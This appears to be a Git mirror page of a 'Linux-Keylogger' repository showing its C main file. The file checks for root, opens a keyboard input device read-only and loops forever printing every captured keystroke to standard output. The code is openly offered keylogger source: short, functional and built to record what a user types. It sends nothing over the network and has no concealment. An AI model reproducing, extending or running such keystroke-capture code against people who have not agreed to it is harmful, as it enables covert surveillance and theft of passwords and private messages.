mirror of
https://github.com/dimkouv/Linux-Keylogger.git
synced 2025-05-15 16:30:07 -07:00
46 lines
970 B
C
46 lines
970 B
C
#include <linux/input.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <fcntl.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
#include "keylogger.h"
|
|
#include "mappings.h"
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
// Convert key codes to string values
|
|
// ex: mappings[code] = "value"
|
|
char * mappings[1024];
|
|
int i;
|
|
for (i=0; i<1024; i++) mappings[i] = "invalid";
|
|
generate_mappings(mappings);
|
|
|
|
|
|
// Check for errors
|
|
if (input_has_errors(argc, argv)) {
|
|
return -1;
|
|
}
|
|
if (!user_is_root()) {
|
|
return -1;
|
|
}
|
|
|
|
// Start keyboard device as read only
|
|
int fd;
|
|
fd = open(argv[1], O_RDONLY);
|
|
|
|
// Initialize input event
|
|
struct input_event ev;
|
|
|
|
// Scan for key strokes and print them
|
|
while (1){
|
|
int key_code = get_key_press(fd, ev); // get key code
|
|
if (key_code < 1024)
|
|
printf("%s\n",mappings[key_code]); // print value of key code
|
|
}
|
|
|
|
return 0;
|
|
}
|